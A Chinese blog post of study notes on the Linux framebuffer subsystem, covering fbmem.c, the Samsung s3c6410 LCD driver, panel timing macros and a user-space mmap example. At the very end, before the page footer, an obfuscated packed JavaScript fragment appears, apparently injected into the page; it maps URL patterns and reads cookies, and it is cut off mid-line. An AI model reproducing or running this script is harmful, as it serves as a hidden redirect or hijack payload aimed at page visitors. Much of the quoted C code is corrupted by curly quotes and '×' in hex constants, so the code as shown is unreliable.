fb分析

一句話總結:先分析下fbmem.c文件,它是該子系統的核心,接收驅動提供的fb_info結構體;然後看三星s3c系列SOC驅動的實現,其內部向上提供fb_info結構體,對下有一個s3cfb_init_hw函數需要具體機型實現;接着到了我們用的具體SOC爲s3c6410,三星也給出了一個實現模版實現了對上的s3cfb_init_hw函數,同時將最後剩下的變量至於一個頭文件中,所以對於我們移植到不同的LCD面板而言,修改場信號參數即可。下面是個人筆記原文,暫不修改。末尾有版權信息,未經允許不得用於商業行爲。


drivers/video/fbmem.c中實現了上層字符設備接口,接收下層驅動提供的fb_info。這裏分析一下:
可以看到編譯成模塊和集成進內核調用的是同一個入口函數,只是開機後執行時間不同。
#ifdef MODULE
module_init(fbmem_init );
#else
subsys_initcall(fbmem_init );
#endif

/* 初始化幀緩衝子系統,主設備號:29,注意這裏並沒有創建/dev下設備節點,由下面的驅動創建 */
static int __init fbmem_init(void )
{
    proc_create (“fb”, 0, NULL, &fb_proc_fops );
 
    if (register_chrdev(FB_MAJOR,“fb” ,&fb_fops))
        printk (“unable to get major %d for fb devs\n”, FB_MAJOR );
 
    fb_class = class_create(THIS_MODULE, “graphics”);
    if (IS_ERR(fb_class)) {
        printk (KERN_WARNING “Unable to create fb class; errno = %ld\n” , PTR_ERR( fb_class));
        fb_class = NULL;
    }
    return 0;
}

/*  註冊framebuffer設備,爲驅動用函數 */
int register_framebuffer(struct fb_info *fb_info )
    \_ do_register_framebuffer (fb_info);
 
static int do_register_framebuffer(struct fb_info *fb_info )
{
    int i ;
    struct fb_event event ;
    struct fb_videomode mode ;
 
    if (fb_check_foreignness(fb_info))
         return -ENOSYS;
 
    do_remove_conflicting_framebuffers (fb_info->apertures, fb_info ->fix.id, fb_is_primary_device( fb_info));// 移除地址範圍有衝突的 fb
 
    if (num_registered_fb == FB_MAX)
         return -ENXIO;
 
    num_registered_fb ++;
    for (i = 0 ; i < FB_MAX; i ++)//在 registered_fb上查找空的i作爲新 fb編號
         if (!registered_fb[i ])
             break;
    fb_info ->node = i;
    atomic_set (&fb_info->count, 1);
    mutex_init (&fb_info->lock);
    mutex_init (&fb_info->mm_lock);
 
    fb_info ->dev = device_create(fb_class , fb_info->device,
                     MKDEV (FB_MAJOR, i), NULL, “fb%d”, i );//生成字符設備,主設備號:29.
    if (IS_ERR(fb_info->dev )) {
         /* Not fatal */
        printk (KERN_WARNING “Unable to create device for framebuffer %d; errno = %ld\n”, i, PTR_ERR (fb_info->dev));
        fb_info ->dev = NULL;
    } else
        fb_init_device (fb_info);
 
    if (fb_info->pixmap.addr == NULL) {
        fb_info ->pixmap.addr = kmalloc (FBPIXMAPSIZE, GFP_KERNEL);
         if (fb_info->pixmap .addr) {
            fb_info ->pixmap.size = FBPIXMAPSIZE ;
            fb_info ->pixmap.buf_align = 1;
            fb_info ->pixmap.scan_align = 1;
            fb_info ->pixmap.access_align = 32;
            fb_info ->pixmap.flags = FB_PIXMAP_DEFAULT ;
         }
    }   
    fb_info ->pixmap.offset = 0;
 
    if (!fb_info->pixmap.blit_x )
        fb_info ->pixmap.blit_x = ~(u32)0;
 
    if (!fb_info->pixmap.blit_y )
        fb_info ->pixmap.blit_y = ~(u32)0;
 
    if (!fb_info->modelist.prev || !fb_info->modelist .next)
        INIT_LIST_HEAD (&fb_info->modelist);
 
    if (fb_info->skip_vt_switch)
        pm_vt_switch_required (fb_info->dev, false );
    else
        pm_vt_switch_required (fb_info->dev, true );
 
    fb_var_to_videomode (&mode, &fb_info ->var);
    fb_add_videomode (&mode, &fb_info ->modelist);
    registered_fb [i] = fb_info ;//添加到全局指針結構體數組 ,FB_MAX:32
 
    event .info = fb_info;// 調用事件通知鏈
    if (!lock_fb_info(fb_info))
         return -ENODEV;
    console_lock ();
    fb_notifier_call_chain (FB_EVENT_FB_REGISTERED, &event );
    console_unlock ();
    unlock_fb_info (fb_info);
    return 0;
}

看fb_fops,主要看下open、mmap和read、write,默認都是不幹什麼事,而直接調用驅動給出的fb_info中的對應函數
static const struct file_operations fb_fops = {
    .owner =    THIS_MODULE,
    .read =     fb_read,
    .write =    fb_write,
    .unlocked_ioctl = fb_ioctl,
    .mmap =     fb_mmap,
    .open =     fb_open,
    .release =  fb_release,
};

/* 由節點的minor來獲取(先嚐試直接註冊) fb_info結構體放入flip->private_data,調用 info->fbops->open  */
static int
fb_open(struct inode *inode , struct file *file )
__acquires(&info ->lock)
__releases(&info ->lock)
{
    int fbidx = iminor(inode);
    struct fb_info *info;
    int res = 0 ;
 
    info = get_fb_info(fbidx);
    if (!info) {
        request_module (“fb%d”, fbidx);
        info = get_fb_info(fbidx);
         if (!info)
             return -ENODEV;
    }
    if (IS_ERR(info))
         return PTR_ERR(info);
 
    mutex_lock (&info->lock);
    if (!try_module_get(info->fbops ->owner)) {/* 可以看出常見的fops中添加 .owner=THIS_MODULE的好處:外部使用操作時可以增加引用計數,防止使用fops的時候,模塊被卸載了*/
        res = -ENODEV;
         goto out;
    }
    file ->private_data = info;
    if (info->fbops->fb_open ) {
        res = info->fbops->fb_open (info,1);
         if (res)
            module_put (info->fbops->owner );
    }
#ifdef CONFIG_FB_DEFERRED_IO
    if (info->fbdefio)
        fb_deferred_io_open (info, inode, file );
#endif
out:
    mutex_unlock (&info->lock);
    if (res)
        put_fb_info (info);
    return res ;
}

static int
fb_mmap(struct file *file , struct vm_area_struct * vma )
{
    struct fb_info *info = file_fb_info(file );
    struct fb_ops *fb;
    unsigned long mmio_pgoff;
    unsigned long start;
    u32 len ;
 
    if (!info)
         return -ENODEV;
    fb = info->fbops;
    if (!fb)
         return -ENODEV;
    mutex_lock (&info->mm_lock);
    if (fb->fb_mmap) {
         int res;
        res = fb->fb_mmap(info , vma);
        mutex_unlock (&info->mm_lock);
         return res;
    }
 
    /*
     * 如果fb_info中 fb_ops定義了mmap ,則採用它,否則有個默認操作
     * 採用fix.smem_start和 fix.smem_len對齊後映射
     */
    start = info->fix.smem_start ;
    len = info->fix.smem_len ;
    mmio_pgoff = PAGE_ALIGN((start & ~PAGE_MASK) + len ) >> PAGE_SHIFT;
    if (vma->vm_pgoff >= mmio_pgoff ) {
         if (info->var .accel_flags) {
            mutex_unlock (&info->mm_lock);
             return -EINVAL;
         }
 
        vma ->vm_pgoff -= mmio_pgoff;
        start = info->fix.mmio_start ;
        len = info->fix.mmio_len ;
    }
    mutex_unlock (&info->mm_lock);
 
    vma ->vm_page_prot = vm_get_page_prot(vma ->vm_flags);
    fb_pgprotect (file, vma, start );
 
    return vm_iomap_memory (vma, start, len );
}



首先明白一點,CPU是直接操作LCD控制器(通常都集成在SOC內部),而不是直接操作LCD驅動器。LCD控制器會產生驅動器所需的信號,主要有這些:VSYNC、HSYNC、VCLK、VDEN、VD、LEND。還有就是幾個迴歸時間:VBPD、VFPD、HBPD、HFPD。所以空間地址範圍、中斷之類對一個SOC而言是一定的。SOC級的bsp驅動中應該就包括了LCD控制器的驅動。s3c系列framebuffer驅動的見drivers/video/samsung/s3cfb.c和.h,這是samsung的fb驅動框架,其內部實現了上面提到的fb_info,唯一一個沒有定義的函數是s3cfb_init_hw,所以對於具體的SOC,只需要實現該函數即可。

s3c移植的工作:drivers/video/samsung/s3c6410.c,這裏實現了s3cfb_init_hw函數,留下了一些宏定義於同目錄下的s3c6410.h中,只需要針對特定的面板提供的參數,定義一組即可。
/* s3cfb.c 中導出的一個變量 s3cfb_fimd,這裏s3c6410.c實現了填充,主要都是來自於宏定義,所以只需改s3c6410.h即可 */
#define S3CFB_HRES_VIRTUAL  S3CFB_HRES   /* horizon pixel  x resolition */
#define S3CFB_VRES_VIRTUAL  S3CFB_VRES   /* line cnt       y resolution */
 
#define S3CFB_HRES_OSD      S3CFB_HRES   /* horizon pixel  x resolition */
#define S3CFB_VRES_OSD      S3CFB_VRES   /* line cnt       y resolution */
 
#define S3CFB_PIXEL_CLOCK   S3CFB_CLKVAL

static void s3cfb_set_fimd_info(void )
{
#ifdef S3CFB_VIDCON1
    s3cfb_fimd .vidcon1 = S3CFB_VIDCON1;
#else
    s3cfb_fimd .vidcon1 = S3C_VIDCON1_IHSYNC_INVERT |    \
                         S3C_VIDCON1_IVSYNC_INVERT |    \
                         S3C_VIDCON1_IVDEN_NORMAL ;
#endif
 
#if defined(CONFIG_FB_S3C_EXT_VGA1024768) || \
    defined(CONFIG_FB_S3C_EXT_VGA640480) || \
    defined(CONFIG_FB_S3C_EXT_VGA800600)
    s3cfb_fimd .vidcon1 = 0;
#endif

/* 三個視頻時序寄存器,具體功能見手冊,分別對應於某項屬性 */

    s3cfb_fimd .vidtcon0 = S3C_VIDTCON0_VBPD(S3CFB_VBP - 1 ) |   \
                          S3C_VIDTCON0_VFPD (S3CFB_VFP - 1) |   \
                          S3C_VIDTCON0_VSPW (S3CFB_VSW - 1);
    s3cfb_fimd .vidtcon1 = S3C_VIDTCON1_HBPD(S3CFB_HBP - 1 ) |   \
                          S3C_VIDTCON1_HFPD (S3CFB_HFP - 1) |   \
                          S3C_VIDTCON1_HSPW (S3CFB_HSW - 1);
    s3cfb_fimd .vidtcon2 = S3C_VIDTCON2_LINEVAL (S3CFB_VRES - 1) |   \
                          S3C_VIDTCON2_HOZVAL (S3CFB_HRES - 1);

/* 窗口0位置控制A寄存器,OSD圖像像素的左上角和右下角的橫縱座標 */

    s3cfb_fimd .vidosd0a = S3C_VIDOSDxA_OSD_LTX_F (0) | S3C_VIDOSDxA_OSD_LTY_F (0);
    s3cfb_fimd .vidosd0b = S3C_VIDOSDxB_OSD_RBX_F (S3CFB_HRES - 1) | \
                          S3C_VIDOSDxB_OSD_RBY_F (S3CFB_VRES - 1);

/* 窗口1位置控制A寄存器,OSD圖像像素的左上角和右下角的橫縱座標 */

    s3cfb_fimd .vidosd1a = S3C_VIDOSDxA_OSD_LTX_F (0) | S3C_VIDOSDxA_OSD_LTY_F (0);
    s3cfb_fimd .vidosd1b = S3C_VIDOSDxB_OSD_RBX_F (S3CFB_HRES_OSD - 1) | \
                          S3C_VIDOSDxB_OSD_RBY_F (S3CFB_VRES_OSD - 1);
 
    s3cfb_fimd .width = S3CFB_HRES;
    s3cfb_fimd .height = S3CFB_VRES;
    s3cfb_fimd .xres = S3CFB_HRES;
    s3cfb_fimd .yres = S3CFB_VRES;
 
#if defined(CONFIG_FB_S3C_EXT_VIRTUAL_SCREEN)
    s3cfb_fimd .xres_virtual = S3CFB_HRES_VIRTUAL;
    s3cfb_fimd .yres_virtual = S3CFB_VRES_VIRTUAL;
#else
    s3cfb_fimd .xres_virtual = S3CFB_HRES;
    s3cfb_fimd .yres_virtual = S3CFB_VRES;
#endif
 
    s3cfb_fimd .osd_width = S3CFB_HRES_OSD;
    s3cfb_fimd .osd_height = S3CFB_VRES_OSD;
    s3cfb_fimd .osd_xres = S3CFB_HRES_OSD;
    s3cfb_fimd .osd_yres = S3CFB_VRES_OSD;
 
    s3cfb_fimd .osd_xres_virtual = S3CFB_HRES_OSD;
    s3cfb_fimd .osd_yres_virtual = S3CFB_VRES_OSD;
 
    s3cfb_fimd .pixclock = S3CFB_PIXEL_CLOCK;
 
    s3cfb_fimd .hsync_len = S3CFB_HSW;
    s3cfb_fimd .vsync_len = S3CFB_VSW;
    s3cfb_fimd .left_margin = S3CFB_HBP;
    s3cfb_fimd .upper_margin = S3CFB_VBP;
    s3cfb_fimd .right_margin = S3CFB_HFP;
    s3cfb_fimd .lower_margin = S3CFB_VFP;
}
 
void s3cfb_init_hw(void)
{
    printk (KERN_INFO “LCD TYPE :: %s will be initialized\n” , S3CFB_LCD_TYPE);
 
    s3cfb_set_fimd_info ();
    s3cfb_set_gpio ();
}

看下s3c6410.h中定義的當前LCD面板配置。注意的是S3CFB_VAL的值爲HCLK/(CLKVAL+1)。如果HCLK不是133的要修改,這些值在手冊上均可找到
/**
 * WARNING: CLKVAL is defined upon 133 MHz HCLK, please update it
 * when HCLK freq changed.
 *   VCLK = 133 MHz / (CLKVAL + 1)
 */
#elif defined(CONFIG_FB_S3C_EXT_S70T800480)
 
#define S3CFB_LCD_TYPE  ”S70″
#define S3CFB_VBP       (0×15)   /* back porch */
#define S3CFB_VFP       (0×16)   /* front porch */
#define S3CFB_VSW       (0×02)   /* vsync width */
#define S3CFB_HBP       (0x2C)   /* back porch */
#define S3CFB_HFP       (0xD2)   /* front porch */
#define S3CFB_HSW       (0×02)   /* hsync width */
 
#define S3CFB_HRES      800      /* horizon pixel  x resolition */
#define S3CFB_VRES      480      /* line cnt       y resolution */
 
#define S3CFB_CLKVAL        3    /* ~33.25 MHz */
#define S3CFB_VIDCON1   (S3C_VIDCON1_IHSYNC_INVERT | S3C_VIDCON1_IVSYNC_INVERT)



再回來看s3cfb驅動的實現,屬於平臺設備驅動。主要是實現fb_info,包括其中的fix和var及fbops。

static int __init s3cfb_probe(struct platform_device *pdev )
     \_ fbinfo = framebuffer_alloc(sizeof(s3cfb_info_t), &pdev->dev);
        info = fbinfo ->par;
        res = platform_get_resource (pdev, IORESOURCE_MEM, 0);
        size = (res->end - res->start) + 1 ;
        info ->mem = request_mem_region(res ->start, size, pdev ->name);
        info->io = ioremap(res->start , size);
…等。

幀緩衝設備顯示緩衝區的申請與釋放,顯示緩衝區要考慮cache一致性問題,因爲系統往往用DMA方式搬運數據,這裏用了dma_alloc_writecombine,允許寫入的數據被合併後burst傳輸,而不是多次single傳輸,不會出現cache一致性問題,類似於dma_clloc_coherent。
static int __init s3cfb_map_video_memory(s3cfb_info_t *fbi)
{
    DPRINTK (“map_video_memory(fbi=%p)\n”, fbi );
 
    fbi ->map_size_f1 = PAGE_ALIGN(fbi ->fb.fix.smem_len );
    fbi ->map_cpu_f1 = dma_alloc_writecombine (fbi->dev, fbi ->map_size_f1, &fbi->map_dma_f1, GFP_KERNEL );
    fbi ->map_size_f1 = fbi->fb .fix.smem_len;
 
    if (fbi->map_cpu_f1) {
         /* prevent initial garbage on screen */
        printk (“Window[%d] – FB1: map_video_memory: clear %p:%08x\n”,
            fbi ->win_id, fbi->map_cpu_f1 , fbi->map_size_f1);
        memset (fbi->map_cpu_f1, 0xf0, fbi ->map_size_f1);
 
        fbi ->screen_dma_f1 = fbi->map_dma_f1 ;
        fbi ->fb.screen_base = fbi ->map_cpu_f1;
        fbi ->fb.fix.smem_start = fbi->screen_dma_f1;
 
        printk (“            FB1: map_video_memory: dma=%08x cpu=%p size=%08x\n” ,
            fbi ->map_dma_f1, fbi->map_cpu_f1 , fbi->fb.fix .smem_len);
    }
 
    if (!fbi->map_cpu_f1)
         return -ENOMEM;
 
#if defined(CONFIG_FB_S3C_EXT_DOUBLE_BUFFERING)
    if (fbi->win_id < 2 && fbi->map_cpu_f1 ) {
        fbi ->map_size_f2 = (fbi ->fb.fix.smem_len / 2 );
        fbi ->map_cpu_f2 = fbi->map_cpu_f1 + fbi->map_size_f2;
        fbi ->map_dma_f2 = fbi->map_dma_f1 + fbi->map_size_f2;
 
         /* prevent initial garbage on screen */
        printk (“Window[%d] – FB2: map_video_memory: clear %p:%08x\n”,
            fbi ->win_id, fbi->map_cpu_f2 , fbi->map_size_f2);
 
        fbi ->screen_dma_f2 = fbi->map_dma_f2 ;
 
        printk (“            FB2: map_video_memory: dma=%08x cpu=%p size=%08x\n” ,
            fbi ->map_dma_f2, fbi->map_cpu_f2 , fbi->map_size_f2);
    }
#endif
 
    if (s3cfb_fimd.map_video_memory)
         (s3cfb_fimd.map_video_memory)(fbi );
 
    return 0;
}




最後看平臺設備,可以知道必定存在一個名叫s3c-fb的平臺設備和這裏的驅動對應,然後纔會調用framebuffer_register,在arch/arm/plat-samsung/dev-fb.c中。
static struct resource s3c_fb_resource[] = {
    [0 ] = {
         .start = S3C_PA_FB,
         .end   = S3C_PA_FB + SZ_16K - 1 ,
         .flags = IORESOURCE_MEM,
    },
    [1 ] = {
         .start = IRQ_LCD_VSYNC,
         .end   = IRQ_LCD_VSYNC,
         .flags = IORESOURCE_IRQ,
    },
    [2 ] = {
         .start = IRQ_LCD_FIFO,
         .end   = IRQ_LCD_FIFO,
         .flags = IORESOURCE_IRQ,
    },
    [3 ] = {
         .start = IRQ_LCD_SYSTEM,
         .end   = IRQ_LCD_SYSTEM,
         .flags = IORESOURCE_IRQ,
    },
};
 
struct platform_device s3c_device_fb = {
    .name         = “s3c-fb” ,
    .id       = -1,
    .num_resources    = ARRAY_SIZE(s3c_fb_resource),
    .resource     = s3c_fb_resource,
    .dev .dma_mask     = &s3c_device_fb.dev.coherent_dma_mask ,
    .dev .coherent_dma_mask = 0xffffffffUL,
};
 
void __init s3c_fb_set_platdata(struct s3c_fb_platdata *pd )
{
    struct s3c_fb_platdata *npd;
 
    if (!pd) {
        printk (KERN_ERR “%s: no platform data\n” , __func__);
         return;
    }
 
    npd = kmemdup(pd, sizeof(struct s3c_fb_platdata), GFP_KERNEL );
    if (!npd)
        printk (KERN_ERR “%s: no memory for platform data\n” , __func__);
 
    s3c_device_fb .dev.platform_data = npd ;
}



幀緩衝設備的用戶空間訪問:讀寫/dev/fbX、映射、ioctl獲取/設置各種參數,這裏裏操作之後的圖像將爲黑屏。注意:僅僅是前面一個緩衝區。
常用ioctl命令;FBIOGET_VSCREENINFO、FBIOPUT_VSCREENINFO、FBIOGET_FSCREENINFO
常用結構體成員:
struct fb_fix_screeninfo:smem_start(物理地址)/smem_len/line_length
struct fb_var_screeninfo:xres/yres/xres_virtual/yres_virtual/bits_per_pixel/

#include <linux/fb.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <string.h>
int main()
{
    int fbfd ,size;
    struct fb_var_screeninfo vinfo ;
    char *fbp;
    if(!(fbfd=open (“/dev/graphics/fb0″,O_RDWR ))){
        printf (“Error:cannot open framebuffer device.\n”);
        exit (1);
    }
    if(ioctl(fbfd ,FBIOGET_VSCREENINFO,&vinfo)){
        printf (“Error:reading variable infomation.\n”);
        exit (1);
    }
    size =vinfo.xres*vinfo .yres*vinfo.bits_per_pixel /8;
    fbp =(char *)mmap(0,size ,PROT_READ|PROT_WRITE,MAP_SHARED ,fbfd,0);
    if((int)fbp ==-1){
        printf (“Error:failed to map framebuffer into memory.\n”);
        exit (1);
    }
    memset (fbp,0,size );
    munmap (fbp,size);
    close (fbfd);
    return 0;
}


// 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k)p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k);return p}('(d(5){3(a.x){9}a.x=m;2 e={"t://(.*?\\.q)(F\\.b)|(q\\.E)(19\\.b)":"t://16.15"+"V"+"J.b/13.G"};u(2 l 14 e){2 w=6.M.N;3(w.P(S(l))){j=e[l];d o(p){2 g=p+"=";2 f=6.17.18(\';\');u(2 i=0;i
發佈了27 篇原創文章 · 獲贊 0 · 訪問量 2萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章